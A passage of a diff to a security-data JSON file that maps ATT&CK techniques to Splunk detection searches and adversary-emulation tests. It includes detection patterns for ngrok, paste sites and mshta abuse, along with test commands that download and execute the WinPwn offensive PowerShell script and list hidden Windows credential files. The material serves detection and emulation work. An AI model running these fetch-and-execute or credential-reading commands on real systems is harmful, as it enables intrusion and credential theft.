[ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1497", + "technique": "Virtualization/Sandbox Evasion", + "tactic": [ + "defense-evasion", + "discovery" + ], + "platform": [ + "Windows", + "macOS", + "Linux" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "user", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] }, { - "name": "Windows Time Based Evasion", - "description": "The following analytic detects potentially malicious processes that initiate a ping delay using an invalid IP address. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving \"ping 0 -n\". This behavior is significant as it is commonly used by malware like NJRAT to introduce time delays for evasion tactics, such as delaying self-deletion. If confirmed malicious, this activity could indicate an active infection attempting to evade detection, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"ping.exe\" Processes.parent_process = \"* ping 0 -n *\" OR Processes.process = \"* ping 0 -n *\" by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_time_based_evasion_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ did a suspicious ping to invalid IP address on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - }, - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1497", + "technique": "Virtualization/Sandbox Evasion", + "tactic": [ + "defense-evasion", + "discovery" + ], + "platform": [ + "Windows", + "macOS", + "Linux" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] }, { - "name": "Windows Time Based Evasion via Choice Exec", - "description": "The following analytic detects the use of choice.exe in batch files as a delay tactic, a technique observed in SnakeKeylogger malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential time-based evasion techniques used by malware to avoid detection. If confirmed malicious, this behavior could allow attackers to execute code stealthily, delete malicious files, and persist on compromised hosts, making it crucial for SOC analysts to investigate promptly.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name =choice.exe Processes.process = \"*/T*\" Processes.process = \"*/N*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_time_based_evasion_via_choice_exec_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A $process_name$ has a choice time delay commandline on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1497.003", - "mitre_attack_technique": "Time Based Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1497", - "mitre_attack_technique": "Virtualization/Sandbox Evasion", - "mitre_attack_tactics": [ - "Defense Evasion", - "Discovery" - ], - "mitre_attack_groups": [ - "Darkhotel" - ] - } - ] - } + "technique_id": "T1497", + "technique": "Virtualization/Sandbox Evasion", + "tactic": [ + "defense-evasion", + "discovery" + ], + "platform": [ + "Windows", + "macOS", + "Linux" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "os api execution", + "type": "activity", + "description": "A process executed operating system api functions.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "api call", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] + }, + { + "technique_id": "T1497", + "technique": "Virtualization/Sandbox Evasion", + "tactic": [ + "defense-evasion", + "discovery" + ], + "platform": [ + "Windows", + "macOS", + "Linux" + ], + "data_source": "process", + "definition": "Information about instances of computer programs that are being executed by at least one thread.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "os api execution", + "type": "activity", + "description": "A process executed operating system api functions.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "system call", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + ] } ], "external_reference": [ @@ -454779,409 +312866,7 @@ "Event ID": null, "Event Name": "SSL/TLS inspection" } - ], - { - "name": "Linux Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the use of Ngrok on a Linux operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments associated with Ngrok. This activity is significant because Ngrok can be used by adversaries to establish reverse proxies, potentially bypassing network defenses. If confirmed malicious, this could allow attackers to create persistent, unauthorized access channels, facilitating data exfiltration or further exploitation of the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Abused Web Services", - "description": "The following analytic detects a suspicious process making DNS queries to known, abused web services such as text-paste sites, VoIP, secure tunneling, instant messaging, and digital distribution platforms. This detection leverages Sysmon logs with Event ID 22, focusing on specific query names. This activity is significant as it may indicate an adversary attempting to download malicious files, a common initial access technique. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the target host.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*pastebin*\",\"\"*textbin*\"\", \"*ngrok.io*\", \"*discord*\", \"*duckdns.org*\", \"*pasteio.com*\") | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_abused_web_services_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "a network connection on known abused web services from $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "Windows Ngrok Reverse Proxy Usage", - "description": "The following analytic detects the execution of ngrok.exe on a Windows operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because while ngrok is a legitimate tool for creating secure tunnels, it is increasingly used by adversaries to bypass network defenses and establish reverse proxies. If confirmed malicious, this could allow attackers to exfiltrate data, maintain persistence, or facilitate further attacks by tunneling traffic through the compromised system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=ngrok.exe Processes.process IN (\"*start*\", \"*--config*\",\"*http*\",\"*authtoken*\", \"*http*\", \"*tcp*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_ngrok_reverse_proxy_usage_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A reverse proxy was identified spawning from $parent_process_name$ - $process_name$ on endpoint $dest$ by user $user$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - }, - { - "name": "Ngrok Reverse Proxy on Network", - "description": "The following analytic detects DNS queries to common Ngrok domains, indicating potential use of the Ngrok reverse proxy tool. It leverages the Network Resolution datamodel to identify queries to domains such as \"*.ngrok.com\" and \"*.ngrok.io\". While Ngrok usage is not inherently malicious, it has been increasingly adopted by adversaries for covert communication and data exfiltration. If confirmed malicious, this activity could allow attackers to bypass network defenses, establish persistent connections, and exfiltrate sensitive data, posing a significant threat to the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.query IN (\"*.ngrok.com\",\"*.ngrok.io\", \"ngrok.*.tunnel.com\", \"korgn.*.lennut.com\") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(\"DNS\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ngrok_reverse_proxy_on_network_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Reverse Network Proxy" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An endpoint, $src$, is beaconing out to the reverse proxy service of Ngrok.", - "risk_score": 50, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1572", - "mitre_attack_technique": "Protocol Tunneling", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "FIN13", - "FIN6", - "Fox Kitten", - "Leviathan", - "Magic Hound", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1102", - "mitre_attack_technique": "Web Service", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT32", - "EXOTIC LILY", - "Ember Bear", - "FIN6", - "FIN8", - "Fox Kitten", - "Gamaredon Group", - "Inception", - "LazyScripter", - "Mustang Panda", - "Rocke", - "TeamTNT", - "Turla" - ] - } - ] - } - } + ] ], "external_reference": [ "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile", @@ -455317,7 +313002,9 @@ "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowershellsensitive -consoleoutput -noninteractive", "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npasshunt -local $true -noninteractive", "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsessionGopher -noninteractive -consoleoutput", - "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive " + "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive ", + "$usernameinfo = (Get-ChildItem Env:USERNAME).Value\nGet-ChildItem -Hidden C:\\Users\\$usernameinfo\\AppData\\Roaming\\Microsoft\\Credentials\\\nGet-ChildItem -Hidden C:\\Users\\$usernameinfo\\AppData\\Local\\Microsoft\\Credentials\\\n", + "dir /a:h C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Credentials\\\ndir /a:h C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Credentials\\\n" ], "commands": [], "queries": [], @@ -455500,6 +313187,32 @@ "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive ", "name": "powershell" } + }, + { + "name": "List Credential Files via PowerShell", + "auto_generated_guid": "0d4f2281-f720-4572-adc8-d5bb1618affe", + "description": "Via PowerShell,list files where credentials are stored in Windows Credential Manager\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "$usernameinfo = (Get-ChildItem Env:USERNAME).Value\nGet-ChildItem -Hidden C:\\Users\\$usernameinfo\\AppData\\Roaming\\Microsoft\\Credentials\\\nGet-ChildItem -Hidden C:\\Users\\$usernameinfo\\AppData\\Local\\Microsoft\\Credentials\\\n", + "name": "powershell", + "elevation_required": true + } + }, + { + "name": "List Credential Files via Command Prompt", + "auto_generated_guid": "b0cdacf6-8949-4ffe-9274-a9643a788e55", + "description": "Via Command Prompt,list files where credentials are stored in Windows Credential Manager\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "dir /a:h C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Credentials\\\ndir /a:h C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Credentials\\\n", + "name": "command_prompt", + "elevation_required": true + } } ] } @@ -455755,99 +313468,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Potential password in username", - "description": "The following analytic identifies instances where users may have mistakenly entered their passwords in the username field during authentication attempts. It detects this by analyzing failed authentication events with usernames longer than 7 characters and high Shannon entropy, followed by a successful authentication from the same source to the same destination. This activity is significant as it can indicate potential security risks, such as password exposure. If confirmed malicious, attackers could exploit this to gain unauthorized access, leading to potential data breaches or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` earliest(_time) AS starttime latest(_time) AS endtime latest(sourcetype) AS sourcetype values(Authentication.src) AS src values(Authentication.dest) AS dest count FROM datamodel=Authentication WHERE nodename=Authentication.Failed_Authentication BY \"Authentication.user\" | `drop_dm_object_name(Authentication)` | lookup ut_shannon_lookup word AS user | where ut_shannon>3 AND len(user)>=8 AND mvcount(src) == 1 | sort count, - ut_shannon | eval incorrect_cred=user | eval endtime=endtime+1000 | map maxsearches=70 search=\"| tstats `security_content_summariesonly` earliest(_time) AS starttime latest(_time) AS endtime latest(sourcetype) AS sourcetype values(Authentication.src) AS src values(Authentication.dest) AS dest count FROM datamodel=Authentication WHERE nodename=Authentication.Successful_Authentication Authentication.src=\\\"$src$\\\" Authentication.dest=\\\"$dest$\\\" sourcetype IN (\\\"$sourcetype$\\\") earliest=\\\"$starttime$\\\" latest=\\\"$endtime$\\\" BY \\\"Authentication.user\\\" | `drop_dm_object_name(\\\"Authentication\\\")` | `potential_password_in_username_false_positive_reduction` | eval incorrect_cred=\\\"$incorrect_cred$\\\" | eval ut_shannon=\\\"$ut_shannon$\\\" | sort count\" | where user!=incorrect_cred | outlier action=RM count | `potential_password_in_username_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Insider Threat" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password in username ($user$) with Shannon entropy ($ut_shannon$)", - "risk_score": 21, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.003", - "mitre_attack_technique": "Local Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "FIN10", - "FIN7", - "HAFNIUM", - "Kimsuky", - "PROMETHIUM", - "Tropic Trooper", - "Turla" - ] - }, - { - "mitre_attack_id": "T1552.001", - "mitre_attack_technique": "Credentials In Files", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "MuddyWater", - "OilRig", - "Scattered Spider", - "TA505", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [ @@ -458228,792 +315848,6 @@ "source_data_element": "host", "relationship": "blocked listener on", "target_data_element": "process" - }, - { - "name": "Detect mshta inline hta execution", - "description": "The following analytic detects the execution of \"mshta.exe\" with inline protocol handlers such as \"JavaScript\", \"VBScript\", and \"About\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments and process details. This activity is significant because mshta.exe can be exploited to execute malicious scripts, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or establish persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_mshta` (Processes.process=*vbscript* OR Processes.process=*javascript* OR Processes.process=*about*) by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mshta_inline_hta_execution_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ executing with inline HTA, indicative of defense evasion.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect mshta renamed", - "description": "The following analytic identifies instances where mshta.exe has been renamed and executed. It leverages Endpoint Detection and Response (EDR) data, specifically focusing on the original file name field to detect discrepancies. This activity is significant because renaming mshta.exe is a common tactic used by attackers to evade detection and execute malicious scripts. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=mshta.exe AND Processes.original_file_name=MSHTA.EXE by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_mshta_renamed_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ executed by user $user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect MSHTA Url in Command Line", - "description": "The following analytic detects the use of Microsoft HTML Application Host (mshta.exe) to make remote HTTP or HTTPS connections. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line arguments containing URLs. This activity is significant because adversaries often use mshta.exe to download and execute remote .hta files, bypassing security controls. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further network infiltration.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_mshta` (Processes.process=\"*http://*\" OR Processes.process=\"*https://*\") by Processes.user Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mshta_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to access a remote destination to download an additional payload.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - 